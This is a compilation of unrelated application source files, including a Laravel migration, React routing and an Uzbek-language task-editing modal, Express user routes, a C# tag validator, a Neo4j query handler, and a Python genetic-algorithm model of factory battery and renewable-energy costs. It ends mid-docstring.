$table->timestamp('updated_at')->useCurrent();
$table->foreign('customer_id')->references('id')->on('users');
$table->foreign('investment_id')->references('id')->on('investment_packages');
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('customer_investments');
}
}
|
import { createBrowserRouter } from "react-router-dom";
import Main from "../layout/Main";
import Home from "../pages/home/Home";
import Login from "../login/Login";
import Signup from "../resister/Signup";
import Checkout from "../pages/checkout/Checkout";
import Booking from "../pages/booking/Booking";
import PrivateRoute from "./PrivateRoute";
const router = createBrowserRouter([
{
path:'/',
element : <Main></Main>,
children:[
{
path:'/',
element: <Home></Home>
},
{
path:'/login',
element:<Login></Login>
},
{
path:'/signup',
element:<Signup></Signup>
},
{
path:'/checkout/:id',
element:<PrivateRoute><Checkout></Checkout></PrivateRoute>,
loader: ({params}) => fetch(`https://car-doctor-server-nu-five.vercel.app/services/${params.id}`)
},
{
path:'/bookings',
element:<PrivateRoute><Booking></Booking></PrivateRoute>
}
]
}
])
export default router
|
from typing import Union
import numpy as np
from app.cypher.query_cypher import *
from app.handler.neo4j_handler import Neo4jHandler
class QueryHandler(Neo4jHandler):
def query_node_ids(self, category: str, sub_class_level: int, context: str, meaning: str):
if not category:
raise ValueError("The category must be provided")
try:
query_result = self.run_cypher(GET_NODE_IDS,
{"class": category, "hop": sub_class_level,
"context": context, "meaning": meaning}).value()
return query_result
except Exception as e:
raise Exception(f"Error occurred while finding nodes: {e}")
def query_pval_corr_elems(self, ids: Union[list[int], None] = None):
if not ids:
raise ValueError("Nodes id must be provided")
try:
coefficient_result = self.run_cypher(cypher=GET_PVAL_CORRELATION_COEFF, node_ids=ids).value()[0]
coefficient_matrix = np.array(coefficient_result).reshape(len(ids), len(ids))
sd_product_result = self.run_cypher(cypher=GET_PVAL_CORRELATION_SDPROD, node_ids=ids).value()[0]
sd_product_matrix = np.array(sd_product_result).reshape(len(ids), len(ids))
matrix = np.multiply(coefficient_matrix, sd_product_matrix)
query_result = list(matrix.flatten())
return query_result
except Exception as e:
raise Exception(f"Error occurred while finding nodes' properties: {e}")
def query_wgt_cov_coeff(self, ids: Union[list[int], None] = None):
if not ids:
raise ValueError("Nodes id must be provided")
try:
query_result = self.run_cypher(GET_WEIGHT_COV_COEFF, node_ids=ids).value()[0]
return query_result
except Exception as e:
raise Exception(f"Error occurred while finding nodes' properties: {e}")
def query_wgt_cov_sdprod(self, ids: Union[list[int], None] = None):
if not ids:
raise ValueError("Nodes id must be provided")
try:
query_result = self.run_cypher(GET_WEIGHT_COV_SDPROD, node_ids=ids).value()[0]
return query_result
except Exception as e:
raise Exception(f"Error occurred while finding nodes' properties: {e}")
|
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const user_controller_1 = require("../Controller/user.controller");
const user_service_1 = require("../Services/user.service");
const authenticateToken_1 = __importDefault(require("../middleware/authenticateToken"));
const router = express_1.default.Router();
const userService = new user_service_1.UserService();
const userController = new user_controller_1.UserController(userService);
/**
* @swagger
* /users:
* post:
* summary: It creates new user
* requestBody:
* required: true
* content:
* application/json:
* schema:
* type: object
* properties:
* name:
* type: string
* email:
* type: string
* password:
* type: string
* responses:
* 201:
* description: Kullanıcı başarıyla oluşturuldu
*/
router.post("/users", (req, res) => userController.createUser(req, res));
/**
* @swagger
* /users:
* get:
* summary: Kullanıcı girişi yapar
* description: Kullanıcının email ve şifresi ile giriş yapmasını sağlar.
* requestBody:
* required: true
* content:
* application/json:
* schema:
* type: object
* required:
* - email
* - password
* properties:
* email:
* type: string
* description: Kullanıcının email adresi.
* password:
* type: string
* description: Kullanıcının şifresi.
* responses:
* 200:
* description: Başarılı giriş
* content:
* application/json:
* schema:
* type: object
* properties:
* user:
* $ref: '#/components/schemas/User'
* token:
* type: string
* description: JWT token
* 400:
* description: Geçersiz istek
*/
router.get("/users", (req, res) => userController.signIn(req, res));
router.get("/users/:id", authenticateToken_1.default, (req, res) => userController.getUserById(req, res));
exports.default = router;
|
import React, { useState, useEffect } from 'react'
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import Typography from '@mui/material/Typography';
import Modal from '@mui/material/Modal';
import toast from 'react-hot-toast';
import axios from 'axios';
import UserBadgeItem from '../UserBadgeItem/UserBadgeItem';
import UserListItem from '../UserListItem/UserListItem';
const style = {
position: 'absolute',
top: '56%',
zIndex : "9999999999",
left: '50%',
transform: 'translate(-50%, -50%)',
width: 950,
// height : 700,
bgcolor: 'background.paper',
border: '2px solid #000',
boxShadow: 24,
p: 4,
};
const EditTask = ({task, reload, open, setOpen, handleOpen, handleClose }) => {
const managerData = JSON.parse(localStorage.getItem('managerData'));
const BACKEND_URL = import.meta.env.VITE_BACKEND_URL;
console.log(task.deadline);
const statusses = [
{
title : "Tekshirilmagan",
val : "done"
},
{
title : "Muvofaqqiyatli bajarilgan",
val : "checked"
},
{
title : "Rad etilgan",
val : "rejected"
}
]
const categories = [
"tez",
"1-kunlik",
"3-kunlik",
"1-haftalik"
]
function convertToCustomFormat(dateString) {
// Sanani Date objektiga o'girish
var date = new Date(dateString);
// Ko'rishni istaganingizdagi formatni yozing
var customFormat = "DD-MM-YYYY";
// O'zgartirilgan sanani formatga o'tkazish
var convertedDate = date.toLocaleDateString('en-GB', { day: '2-digit', month: '2-digit', year: 'numeric' })
.replace(/(\d{2})\/(\d{2})\/(\d{4})/, "$1-$2-$3");
return convertedDate;
}
const [searchQuery, setSearchQuery] = useState('');
const [searchResult, setSearchResult] = useState([]);
const [title, setTitle] = useState(task?.title)
const [desc, setDesc] = useState(task?.desc)
const [deadline, setDeadline] = useState(convertToCustomFormat(task?.deadline))
console.log(deadline);
const [status, setStatus] = useState(task?.status)
const [category, setCategory] = useState(task?.category)
const [selectedWorkers, setSelectedWorkers] = useState([]);
const handleWorkersAdd=async(userToAdd)=>{
if(task.workers.includes(userToAdd)){
return toast.error("Bu ishchi allaqachon qo'shilgan")
}
try {
const { data } = await axios.put(`${BACKEND_URL}/api/tasks/add_worker`, {
taskId : task?._id,
workerId : userToAdd?._id
}, {
headers : { token : managerData?.token }
})
if(data.success){
reload()
}else{
throw new Error(data.message)
}
} catch (error) {
toast.error(error.message)
}
// setSelectedWorkers([...selectedWorkers, userToAdd])
}
const handleWorkersDelete = async(delUser)=>{
try {
const { data } = await axios.put(`${BACKEND_URL}/api/tasks/delete_worker`, {
workerId : delUser?._id,
taskId : task?._id
}, { headers : { token : managerData?.token } })
if(data.success){
reload()
}else{
throw new Error(data.message)
}
} catch (error) {
toast.error(error.message)
}
setSelectedWorkers(task.workers?.filter(e=> e._id !== delUser?._id))
}
const handleSearch = async (query)=>{
if(!query){
return
}
setSearchQuery(query)
try {
const { data } = await axios.get(`${BACKEND_URL}/api/users?search=${searchQuery}`);
setSearchResult(data.data);
} catch (error) {
toast.error(error.message)
}
}
async function handleEditTask(e){
e.preventDefault();
try {
console.log(status);
if(!title.trim().length){
throw new Error(`Vazifa nomini kiriting`)
}else if(!desc.trim().length){
throw new Error(`Vazifa haqida qo'shimcha malumot bering`)
}else if(!deadline.trim().length){
throw new Error(`Vazifani tugatish sanasini kiriting`)
}else if(!category){
throw new Error(`Vazifa turini kiriting, misol uchun: tez, 1-kunlik, 3-kunlik, 1-haftalik`)
}else if(!task?.workers.length){
throw new Error(`Vazifaga ishchi biriktiring!`)
}
const { data } = await axios.put(`${BACKEND_URL}/api/tasks/edit/${task?._id}`, {
title,
desc,
status : status || null,
deadline : deadline || null,
category,
workers : task?.workers?.map(e=> e._id)
}, { headers : { token : managerData?.token } })
if(data.success){
toast.success(data.message);
handleClose();
reload();
}else{
throw new Error(data.message)
}
} catch (error) {
toast.error(error.message)
}
}
return (
<Modal
open={open}
onClose={handleClose}
aria-labelledby="modal-modal-title"
aria-describedby="modal-modal-description"
>
<Box sx={style}>
<Typography>Vazifani o'zgartirish</Typography>
<form className='mt-4 relative' onSubmit={handleEditTask}>
<div className='inputs flex flex-col gap-3'>
<input className='form-control' placeholder='Vazifa nomi' value={title} onChange={e=> setTitle(e.target.value)}/>
<input className='form-control' placeholder="Qo'shimcha malumot" value={desc} onChange={(e=> setDesc(e.target.value))}/>
<label>
Tugatish sanasi
<input className='form-control mt-1' type='date' placeholder="Tugatish sanasi" value={deadline} onChange={(e)=>{
setDeadline(e.target.value)
}}/>
</label>
{
task?.worker_file ? <select value={status} onChange={(e)=> setStatus(e.target.value)} className='form-select'>
{/* <option value={''} disabled selected>Bajarilgan</option> */}
{statusses.map((el, idx)=>(
<option value={el.val} >{el.title}</option>
))}
</select> : "Holat : Jarayonda"
}
<select className='form-select' value={category} onChange={e=> setCategory(e.target.value)}>
{categories.map((el, idx)=>(
<option key={idx} value={el}>{el}</option>
))}
</select>
<input placeholder="Ishchi qo'shing misol uchun : Eshmat, Toshmat"
onChange={e=> handleSearch(e.target.value)}
className='form-control'
/>
<Box width={'100%'} display={'flex'} flexWrap={'wrap'}>
{task?.workers?.map((el, idx)=>(
<UserBadgeItem key={idx} user={el} handleFunction={()=> handleWorkersDelete(el)}/>
))
}
</Box>
<Box
display={'flex'}
gap={'2em'}
flexWrap={'wrap'}
>
{
searchResult?.slice(0, 4)
.map((user, idx)=>(
<UserListItem
key={idx}
user={user}
handleFunction={()=> handleWorkersAdd(user)}
/>
))
}
</Box>
</div>
<div className='btns flex justify-between '>
<button className='text-slate-600' onClick={handleClose}>Bekor qilish</button>
<button className='text-blue-600'>O'zgartirish</button>
</div>
</form>
</Box>
</Modal>
)
}
export default EditTask
|
using Content.Application.Common.Interfaces.Repositories;
using FluentValidation;
namespace Content.Application.Tags.Commands.AddTag;
public class AddTagCommandValidator : AbstractValidator<AddTagCommand>
{
public AddTagCommandValidator(ITagRepository repository)
{
RuleFor(p => p.Name)
.NotEmpty().WithMessage("Name is required.")
.MinimumLength(5).WithMessage("Name must be at least 5 characters.")
.MaximumLength(200).WithMessage("Name must not exceed 100 characters.")
.MustAsync(async (name, cancellationToken) =>
{
var tagExists = await repository.ExistsAsync(p => p.Name == name, cancellationToken);
return !tagExists;
}).WithMessage("Name must be unique.");
}
}
|
# Constants initialization
import time
import pandas as pd
from EEE.utils.constants import *
from EEE.utils.helpers.genetic_algorithm import GeneticAlgorithm
import math
class Factory:
def __init__(self, name: str,
wind_power_list: list[float] = None, solar_power_list: list[float] = None, power_demand_list: list[float] = None,
battery_power: int = 50, battery_capacity: int = 100,
wind_power_list2: list[float] = None, solar_power_list2: list[float] = None,
wind_power_list3: list[float] = None, solar_power_list3: list[float] = None,
wind_power_list24: list[list[float]] = None, solar_power_list24: list[list[float]] = None):
"""
:param name: Name of the factory
:param wind_power_list: List of wind power values, in 24-hour format
:param solar_power_list: List of solar power values, in 24-hour format
:param power_demand_list: List of power demand values, in 24-hour format
:param battery_power: Power of the battery in kW
:param battery_capacity: Capacity of the battery in kWh
"""
self.name = name
self.wind_power_list = wind_power_list
self.solar_power_list = solar_power_list
self.power_demand_list = power_demand_list
self.battery_power = battery_power
self.battery_capacity = battery_capacity
self.wind_power_list2 = wind_power_list2
self.solar_power_list2 = solar_power_list2
self.wind_power_list3 = wind_power_list3
self.solar_power_list3 = solar_power_list3
self.wind_power_list24 = wind_power_list24
self.solar_power_list24 = solar_power_list24
def calculate_cost_without_battery(self):
"""
Calculates the cost of power consumption for the factory without a battery.
:return: Total cost in yuan
"""
# Initialize
dataframe = pd.DataFrame(columns=['wind_power', 'solar_power', 'power_demand', 'power_grid', 'power_abandon', 'cost'])
total_power = 0
abandon_power = 0
total_cost = 0
for i in range(24):
temp_cost = 0
# Calculate the power shortage
power_shortage = self.power_demand_list[i] - (self.wind_power_list[i] + self.solar_power_list[i])
if power_shortage < 0:
abandon_power += -power_shortage
total_power = sum(self.power_demand_list)
# Calculate the cost
temp_cost += self.wind_power_list[i] * wind_power_price + self.solar_power_list[i] * solar_power_price
if power_shortage > 0:
temp_cost += power_shortage * power_demand_price
total_cost += temp_cost
dataframe.loc[i] = [self.wind_power_list[i], self.solar_power_list[i], self.power_demand_list[i], power_shortage if power_shortage > 0 else 0, power_shortage if power_shortage < 0 else 0, temp_cost]
average_cost = total_cost / total_power
print(dataframe)
dataframe.to_csv(f"C://Users/Jawk/PycharmProjects/EEE/EEE/data/result_{self.name}_1_1.csv")
return total_power+abandon_power, abandon_power, total_cost, average_cost
def calculate_cost_with_battery(self):
"""
Calculates the cost of power consumption for the factory with a battery.
Using the linear programming method.
:return: Total cost in yuan
"""
"""
Target: minimize the total cost, which means minimizing the sum of power bought from the grid
Variables: battery_power_by_hour * 24, bivariate
"""
def objective(individual):
result = []
for i in range(24):
result.append(individual[3 * i + 1])
return sum(result),
constraints = []
nonlinear_eq_constraints = []
var_ranges = []
for i in range(24):
if 8 <= i <= 16:
var_ranges.append((-self.battery_power, 0))
else:
var_ranges.append((0, self.battery_power))
def battery_power_upper_bound(individual, i=i):
return individual[3 * i] - self.battery_power
constraints.append(battery_power_upper_bound)
def battery_power_lower_bound(individual, i=i):
return -self.battery_power - individual[3 * i]
constraints.append(battery_power_lower_bound)
var_ranges.append((0, math.inf))
def power_grid_lower_bound(individual, i=i):
return -individual[3 * i + 1]
constraints.append(power_grid_lower_bound)
var_ranges.append((0.1 * self.battery_capacity, 0.9 * self.battery_capacity))
def SOC_upper_bound(individual, i=i):
return individual[3 * i + 2] - 0.9 * self.battery_capacity
constraints.append(SOC_upper_bound)
def SOC_lower_bound(individual, i=i):
return 0.1 * self.battery_capacity - individual[3 * i + 2]
constraints.append(SOC_lower_bound)
if i == 23:
def final_SOC_upper_bound(individual, i=i):
return individual[3 * i + 2] - individual[3 * i] - (individual[72] * 1.01) * self.battery_capacity
constraints.append(final_SOC_upper_bound)
def final_SOC_lower_bound(individual, i=i):
return (individual[72] * 0.99) * self.battery_capacity - (individual[3 * i + 2] - individual[3 * i])
constraints.append(final_SOC_lower_bound)
def power_balance(individual, i=i):
shortage = self.power_demand_list[i] - self.wind_power_list[i] - self.solar_power_list[i]
if shortage < 0 < individual[3 * i]:
individual[3 * i] = 0
if individual[3 * i + 1] > 0 > individual[3 * i]:
individual[3 * i] = 0
if individual[3 * i] > 0:
temp = (self.power_demand_list[i] - self.wind_power_list[i] - self.solar_power_list[i] -
individual[3 * i] * battery_efficiency)
else:
temp = self.power_demand_list[i] - self.wind_power_list[i] - self.solar_power_list[i] - \
individual[3 * i] / battery_efficiency
if temp < 0:
individual[3 * i + 1] = 0
else:
individual[3 * i + 1] = temp
nonlinear_eq_constraints.append(power_balance)
def SOC_balance(individual, i=i):
if i == 0:
individual[3 * i + 2] = individual[72] * self.battery_capacity
else:
individual[3 * i + 2] = individual[3 * (i - 1) + 2] - individual[3 * (i - 1)]
nonlinear_eq_constraints.append(SOC_balance)
var_ranges.append((0.1, 0.9))
ga = GeneticAlgorithm(objective_func=objective, constraints=constraints,
nonlinear_eq_constraints=nonlinear_eq_constraints, n_vars=24 * 3 + 1, var_ranges=var_ranges, ngen=10000, pop_size=100, cxpb=0.8, mutpb=0.3, penalty_factor=1e6)
pop, log, hof = ga.run()
dataframe = pd.DataFrame(columns=['battery_power', 'power_grid', 'SOC'])
for i in range(24):
dataframe.loc[i] = [hof[0][3 * i], hof[0][3 * i + 1], hof[0][3 * i + 2]]
dataframe.loc[24] = ["init_SOC", "", ""]
dataframe.loc[25] = [hof[0][72], "", ""]
result = hof[0].fitness.values[0] + sum(self.wind_power_list[i] * wind_power_price + self.solar_power_list[i] * solar_power_price for i in range(24)) + \
(self.battery_power * battery_power_price + self.battery_capacity * battery_capacity_price) / 10 / 365
dataframe.loc[26] = ["result", "", ""]
dataframe.loc[27] = [result, "", ""]
timestamp = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
dataframe.to_csv(f"C://Users/Jawk/PycharmProjects/EEE/EEE/data/result_{self.name}_1_2_{timestamp}.csv")
def calculate_cost_with_battery_change(self):
"""
Calculates the cost of power consumption for the factory with a battery.
Using the linear programming method.
:return: Total cost in yuan
"""
"""
Target: minimize the total cost, which means minimizing the sum of power bought from the grid
Variables: battery_power_by_hour * 24, bivariate
"""
def objective(individual):
result = []
for i in range(24):
result.append(individual[3 * i + 1] * power_demand_price)
result.append(individual[72] * battery_power_price / 10 / 365)
result.append(individual[73] * battery_capacity_price / 10 / 365)
return sum(result),
constraints = []
nonlinear_eq_constraints = []
var_ranges = []
for i in range(24):
if 8 <= i <= 16:
var_ranges.append((-self.battery_power, 0))
else:
var_ranges.append((0, self.battery_power))
def battery_power_upper_bound(individual, i=i):
return individual[3 * i] - individual[72]
constraints.append(battery_power_upper_bound)
def battery_power_lower_bound(individual, i=i):
return -individual[72] - individual[3 * i]
constraints.append(battery_power_lower_bound)
var_ranges.append((0, math.inf))
def power_grid_lower_bound(individual, i=i):
return -individual[3 * i + 1]
constraints.append(power_grid_lower_bound)
var_ranges.append((0.1 * self.battery_capacity, 0.9 * self.battery_capacity))
def SOC_upper_bound(individual, i=i):
return individual[3 * i + 2] - 0.9 * individual[73]
constraints.append(SOC_upper_bound)
def SOC_lower_bound(individual, i=i):
return 0.1 * individual[73] - individual[3 * i + 2]
constraints.append(SOC_lower_bound)
if i == 23:
def final_SOC_upper_bound(individual, i=i):
return individual[3 * i + 2] - individual[3 * i] - (individual[74]*1.01) * individual[73]
constraints.append(final_SOC_upper_bound)
def final_SOC_lower_bound(individual, i=i):
return (individual[74]*0.99) * individual[73] - (individual[3 * i + 2] - individual[3 * i])
constraints.append(final_SOC_lower_bound)
def power_balance(individual, i=i):
shortage = self.power_demand_list[i] - self.wind_power_list[i] - self.solar_power_list[i]
if shortage < 0 < individual[3 * i]:
individual[3 * i] = 0
if individual[3 * i + 1] > 0 > individual[3 * i]:
individual[3 * i] = 0
if individual[3 * i] > 0:
temp = (self.power_demand_list[i] - self.wind_power_list[i] - self.solar_power_list[i] -
individual[3 * i] * battery_efficiency)
else:
temp = self.power_demand_list[i] - self.wind_power_list[i] - self.solar_power_list[i] - \
individual[3 * i] / battery_efficiency
if temp < 0:
individual[3 * i + 1] = 0
else:
individual[3 * i + 1] = temp
nonlinear_eq_constraints.append(power_balance)
def SOC_balance(individual, i=i):
if i == 0:
individual[3 * i + 2] = individual[74] * individual[73]
else:
individual[3 * i + 2] = individual[3 * (i - 1) + 2] - individual[3 * (i - 1)]
nonlinear_eq_constraints.append(SOC_balance)
var_ranges.append((0.5 * 1000, 1.5 * 1000))
var_ranges.append((0.5 * 2000, 1.5 * 2000))
var_ranges.append((0.1, 0.9))
def battery_power_lower_bound(individual):
battery_power_list = [abs(individual[3 * i]) for i in range(24)]
individual[72] = max(battery_power_list)
nonlinear_eq_constraints.append(battery_power_lower_bound)
def battery_capacity_lower_bound(individual):
SOC_list = [individual[3 * i + 2] for i in range(24)]
return individual[73] - max(SOC_list) / 0.8
def battery_capacity_upper_bound(individual):
SOC_list = [individual[3 * i + 2] for i in range(24)]
return -individual[73] + min(SOC_list) / 0.2
constraints.append(battery_capacity_lower_bound)
constraints.append(battery_capacity_upper_bound)
ga = GeneticAlgorithm(objective_func=objective, constraints=constraints,
nonlinear_eq_constraints=nonlinear_eq_constraints, n_vars=24 * 3 + 3, var_ranges=var_ranges, ngen=10000, pop_size=100, cxpb=0.8, mutpb=0.3, penalty_factor=1e6)
pop, log, hof = ga.run()
dataframe = pd.DataFrame(columns=['battery_power', 'power_grid', 'SOC'])
for i in range(24):
dataframe.loc[i] = [hof[0][3 * i], hof[0][3 * i + 1], hof[0][3 * i + 2]]
dataframe.loc[24] = ["Power", "Capacity", "init_SOC"]
dataframe.loc[25] = [hof[0][72], hof[0][73], hof[0][74]]
result = hof[0].fitness.values[0] + sum(self.wind_power_list[i] * wind_power_price + self.solar_power_list[i] * solar_power_price for i in range(24))
dataframe.loc[26] = ["result", "", ""]
dataframe.loc[27] = [result, "", ""]
new_data = pd.Series(ga.fitness_history, name='convergence')
dataframe = pd.concat([dataframe, new_data], axis=1)
dataframe.fillna("", inplace=True)
timestamp = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
dataframe.to_csv(f"C://Users/Jawk/PycharmProjects/EEE/EEE/data/result_{self.name}_1_3_{timestamp}.csv")
def calculate_cost_with_wind_and_solar_change(self):
"""
Calculates the cost of power consumption for the factory with a battery.
Attention: When recalling this function, the wind_power_list and solar_power_list should in standard format.
:return: Total cost in yuan
"""
def objective(individual):
result = []
for i in range(24):
result.append(individual[3 * i + 1] * power_demand_price)
result.append(individual[72] * battery_power_price / 10 / 365)
result.append(individual[73] * battery_capacity_price / 10 / 365)
# Cost of constructing new wind and solar power plants
result.append(individual[75] * wind_capacity_price / 5 / 365)
result.append(individual[76] * solar_capacity_price / 5 / 365)
return sum(result),
constraints = []
nonlinear_eq_constraints = []
var_ranges = []
for i in range(24):
if 8 <= i <= 16:
var_ranges.append((-self.battery_power, 0))
else:
var_ranges.append((0, self.battery_power))
def battery_power_upper_bound(individual, i=i):
return individual[3 * i] - individual[72]
constraints.append(battery_power_upper_bound)
def battery_power_lower_bound(individual, i=i):
return -individual[72] - individual[3 * i]
constraints.append(battery_power_lower_bound)
var_ranges.append((0, math.inf))
def power_grid_lower_bound(individual, i=i):
return -individual[3 * i + 1]
constraints.append(power_grid_lower_bound)
var_ranges.append((0.1 * self.battery_capacity, 0.9 * self.battery_capacity))
def SOC_upper_bound(individual, i=i):
return individual[3 * i + 2] - 0.9 * individual[73]
constraints.append(SOC_upper_bound)
def SOC_lower_bound(individual, i=i):
return 0.1 * individual[73] - individual[3 * i + 2]
constraints.append(SOC_lower_bound)
if i == 23:
def final_SOC_upper_bound(individual, i=i):
return individual[3 * i + 2] - individual[3 * i] - (individual[74]*1.01) * individual[73]
constraints.append(final_SOC_upper_bound)
def final_SOC_lower_bound(individual, i=i):
return (individual[74]*0.99) * individual[73] - (individual[3 * i + 2] - individual[3 * i])
constraints.append(final_SOC_lower_bound)
def power_balance(individual, i=i):
wind_power = self.wind_power_list[i] * individual[75]
solar_power = self.solar_power_list[i] * individual[76]
shortage = self.power_demand_list[i] - wind_power - solar_power
if shortage < 0 < individual[3 * i]:
individual[3 * i] = 0
if individual[3 * i + 1] > 0 > individual[3 * i]:
individual[3 * i] = 0
if individual[3 * i] > 0:
temp = self.power_demand_list[i] - wind_power - solar_power - \
individual[3 * i] * battery_efficiency
else:
temp = self.power_demand_list[i] - wind_power - solar_power - \
individual[3 * i] / battery_efficiency
if temp < 0:
individual[3 * i + 1] = 0
else:
individual[3 * i + 1] = temp
nonlinear_eq_constraints.append(power_balance)
def SOC_balance(individual, i=i):
if i == 0:
individual[3 * i + 2] = individual[74] * individual[73]
else:
individual[3 * i + 2] = individual[3 * (i - 1) + 2] - individual[3 * (i - 1)]
nonlinear_eq_constraints.append(SOC_balance)
var_ranges.append((0.5 * self.battery_power, 2 * self.battery_power))
var_ranges.append((0.5 * self.battery_capacity, 2 * self.battery_capacity))
var_ranges.append((0.1, 0.9))
var_ranges.append((500, 1500))
def wind_power_lower_bound(individual):
return -individual[75]
var_ranges.append((500, 1500))
def solar_power_lower_bound(individual):
return -individual[76]
constraints.append(wind_power_lower_bound)
constraints.append(solar_power_lower_bound)
ga = GeneticAlgorithm(objective_func=objective, constraints=constraints,
nonlinear_eq_constraints=nonlinear_eq_constraints, n_vars=24 * 3 + 5, var_ranges=var_ranges, ngen=10000, pop_size=100, cxpb=0.8, mutpb=0.3, penalty_factor=1e6)
pop, log, hof = ga.run()
dataframe = pd.DataFrame(columns=['battery_power', 'power_grid', 'SOC'])
for i in range(24):
dataframe.loc[i] = [hof[0][3 * i], hof[0][3 * i + 1], hof[0][3 * i + 2]]
dataframe.loc[24] = ["Power", "Capacity", "init_SOC"]
dataframe.loc[25] = [hof[0][72], hof[0][73], hof[0][74]]
result = hof[0].fitness.values[0]
dataframe.loc[26] = ["result", "wind", "solar"]
dataframe.loc[27] = [result, hof[0][75], hof[0][76]]
timestamp = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
dataframe.to_csv(f"C://Users/Jawk/PycharmProjects/EEE/EEE/data/result_{self.name}_3_1_{timestamp}.csv")
def calculate_cost_with_wind_and_solar_change_united(self):
"""
Calculates the cost of power consumption for the factory with a battery.
Attention: When recalling this function, the wind_power_list and solar_power_list should in standard format.
:return: Total cost in yuan
"""
def objective(individual):
result = []
for i in range(24):
result.append(individual[3 * i + 1] * power_demand_price)
result.append(individual[72] * battery_power_price / 10 / 365)
result.append(individual[73] * battery_capacity_price / 10 / 365)
# Cost of constructing new wind and solar power plants
result.append((individual[75] + individual[77] + individual[79]) * wind_capacity_price / 5 / 365)
result.append((individual[76] + individual[78] + individual[80]) * solar_capacity_price / 5 / 365)
return sum(result),
constraints = []
nonlinear_eq_constraints = []
var_ranges = []
for i in range(24):
if 8 <= i <= 16:
var_ranges.append((-self.battery_power, 0))
else:
var_ranges.append((0, self.battery_power))
def battery_power_upper_bound(individual, i=i):
return individual[3 * i] - individual[72]
constraints.append(battery_power_upper_bound)
def battery_power_lower_bound(individual, i=i):
return -individual[72] - individual[3 * i]
constraints.append(battery_power_lower_bound)
var_ranges.append((0, math.inf))
def power_grid_lower_bound(individual, i=i):
return -individual[3 * i + 1]
constraints.append(power_grid_lower_bound)
var_ranges.append((0.1 * self.battery_capacity, 0.9 * self.battery_capacity))
def SOC_upper_bound(individual, i=i):
return individual[3 * i + 2] - 0.9 * individual[73]
constraints.append(SOC_upper_bound)
def SOC_lower_bound(individual, i=i):
return 0.1 * individual[73] - individual[3 * i + 2]
constraints.append(SOC_lower_bound)
if i == 23:
def final_SOC_upper_bound(individual, i=i):
return individual[3 * i + 2] - individual[3 * i] - (individual[74]*1.01) * individual[73]
constraints.append(final_SOC_upper_bound)
def final_SOC_lower_bound(individual, i=i):
return (individual[74]*0.99) * individual[73] - (individual[3 * i + 2] - individual[3 * i])
constraints.append(final_SOC_lower_bound)
def power_balance(individual, i=i):
wind_power = self.wind_power_list[i] * individual[75] + self.wind_power_list2[i] * individual[77] + self.wind_power_list3[i] * individual[79]
solar_power = self.solar_power_list[i] * individual[76] + self.solar_power_list2[i] * individual[78] + self.solar_power_list3[i] * individual[80]
shortage = self.power_demand_list[i] - wind_power - solar_power
if shortage < 0 < individual[3 * i]:
individual[3 * i] = 0
if individual[3 * i + 1] > 0 > individual[3 * i]:
individual[3 * i] = 0
if individual[3 * i] > 0:
temp = self.power_demand_list[i] - wind_power - solar_power - \
individual[3 * i] * battery_efficiency
else:
temp = self.power_demand_list[i] - wind_power - solar_power - \
individual[3 * i] / battery_efficiency
if temp < 0:
individual[3 * i + 1] = 0
else:
individual[3 * i + 1] = temp
nonlinear_eq_constraints.append(power_balance)
def SOC_balance(individual, i=i):
if i == 0:
individual[3 * i + 2] = individual[74] * individual[73]
else:
individual[3 * i + 2] = individual[3 * (i - 1) + 2] - individual[3 * (i - 1)]
nonlinear_eq_constraints.append(SOC_balance)
var_ranges.append((0.5 * 1000, 2 * 1000))
var_ranges.append((0.5 * 2000, 2 * 2000))
var_ranges.append((0.1, 0.9))
var_ranges.append((500, 1500))
def battery_power_lower_bound(individual):
battery_power_list = [abs(individual[3 * i]) for i in range(24)]
individual[72] = max(battery_power_list)
nonlinear_eq_constraints.append(battery_power_lower_bound)
"""
def battery_capacity_lower_bound(individual):
SOC_list = [individual[3 * i + 2] for i in range(24)]
return individual[73] - max(SOC_list) / 0.7
def battery_capacity_upper_bound(individual):
SOC_list = [individual[3 * i + 2] for i in range(24)]
return -individual[73] + min(SOC_list) / 0.3
constraints.append(battery_capacity_lower_bound)
constraints.append(battery_capacity_upper_bound)
"""
def battery_power_lower_bound(individual):
return -individual[72] + 500
def battery_capacity_lower_bound(individual):
return -individual[73] + 1000
def wind_power_lower_bound(individual):
return -individual[75]
var_ranges.append((500, 1500))
def solar_power_lower_bound(individual):
return -individual[76]
constraints.append(wind_power_lower_bound)
constraints.append(solar_power_lower_bound)
var_ranges.append((500, 1500))
def wind_power_lower_bound2(individual):
return -individual[77]
var_ranges.append((500, 1500))
def solar_power_lower_bound2(individual):
return -individual[78]
constraints.append(wind_power_lower_bound2)
constraints.append(solar_power_lower_bound2)
var_ranges.append((500, 1500))
def wind_power_lower_bound3(individual):
return -individual[79]
var_ranges.append((500, 1500))
def solar_power_lower_bound3(individual):
return -individual[80]
constraints.append(wind_power_lower_bound3)
constraints.append(solar_power_lower_bound3)
ga = GeneticAlgorithm(objective_func=objective, constraints=constraints,
nonlinear_eq_constraints=nonlinear_eq_constraints, n_vars=24 * 3 + 9, var_ranges=var_ranges, ngen=10000, pop_size=200, cxpb=0.8, mutpb=0.3, penalty_factor=1e6)
pop, log, hof = ga.run()
dataframe = pd.DataFrame(columns=['battery_power', 'power_grid', 'SOC'])
for i in range(24):
dataframe.loc[i] = [hof[0][3 * i], hof[0][3 * i + 1], hof[0][3 * i + 2]]
dataframe.loc[24] = ["Power", "Capacity", "init_SOC"]
dataframe.loc[25] = [hof[0][72], hof[0][73], hof[0][74]]
result = hof[0].fitness.values[0]
dataframe.loc[26] = ["result", "wind", "solar"]
dataframe.loc[27] = [result, hof[0][75], hof[0][76]]
dataframe.loc[28] = ["wind2", "solar2", ""]
dataframe.loc[29] = [hof[0][77], hof[0][78], ""]
dataframe.loc[30] = ["wind3", "solar3", ""]
dataframe.loc[31] = [hof[0][79], hof[0][80], ""]
timestamp = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
dataframe.to_csv(f"C://Users/Jawk/PycharmProjects/EEE/EEE/data/result_{self.name}_3_1_{timestamp}.csv")
def final(self):
"""
Calculates the cost of power consumption for the factory with a battery.
